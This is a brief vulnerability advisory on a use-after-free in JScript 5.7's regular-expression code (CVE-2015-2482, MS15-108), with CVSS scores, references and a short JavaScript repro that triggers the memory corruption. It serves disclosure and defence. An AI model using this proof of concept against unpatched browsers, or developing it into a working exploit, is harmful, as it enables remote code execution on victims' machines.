JScript 5.7 RegExpBase::FBadHeader Use-After-Free

2015.10.16
Credit: SkyLined
Risk: Low
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size. CVE-2015-2482: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2482 ZDI-15-515: http://www.zerodayinitiative.com/advisories/ZDI-15-515/ MS15-108: https://technet.microsoft.com/en-us/library/security/MS15-108 Repro: <script> var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g"); "A".replace(r, function (){ for (var j = 0; j < 16; j++) new Array(0x1000).join("B"); r.compile(); }); </script> Repro-in-a-tweet: https://twitter.com/berendjanwever/status/654048253047140352 Cheers, SkyLined Follow me on twitter for a new browser bug every* day! https://twitter.com/berendjanwever (* might be more than one some days)

References:

http://www.zerodayinitiative.com/advisories/ZDI-15-515/
https://twitter.com/berendjanwever/status/654048253047140352


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